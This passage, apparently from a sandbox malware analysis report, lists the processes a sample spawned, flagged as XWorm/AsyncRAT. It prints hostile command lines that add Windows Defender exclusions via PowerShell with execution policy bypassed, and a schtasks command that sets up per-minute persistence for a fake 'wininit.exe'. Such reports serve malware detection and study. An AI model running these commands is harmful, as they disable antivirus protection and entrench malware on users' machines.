Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	10:26:33
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	10:26:51
Start date:	04/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wininit.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	10:26:51
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	10:27:01
Start date:	04/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\wininit.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	10:27:01
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	10:27:16
Start date:	04/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wininit.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1684, Parent PID: 5036

General

Target ID:	15
Start time:	10:27:16
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	10:27:36
Start date:	04/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "wininit" /tr "C:\Users\user\AppData\Roaming\wininit.exe"
Imagebase:	0x7ff7268f0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	10:27:36
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	10:27:38
Start date:	04/12/2024
Path:	C:\Users\user\AppData\Roaming\wininit.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\wininit.exe
Imagebase:	0xde0000
File size:	77'824 bytes
MD5 hash:	DC8534F103A3167CEC27B4B01FEA89A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\wininit.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\wininit.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\wininit.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Has exited:	true

Target ID:	19
Start time:	10:27:48
Start date:	04/12/2024
Path:	C:\Users\user\AppData\Roaming\wininit.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\wininit.exe"
Imagebase:	0x6e0000
File size:	77'824 bytes
MD5 hash:	DC8534F103A3167CEC27B4B01FEA89A4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true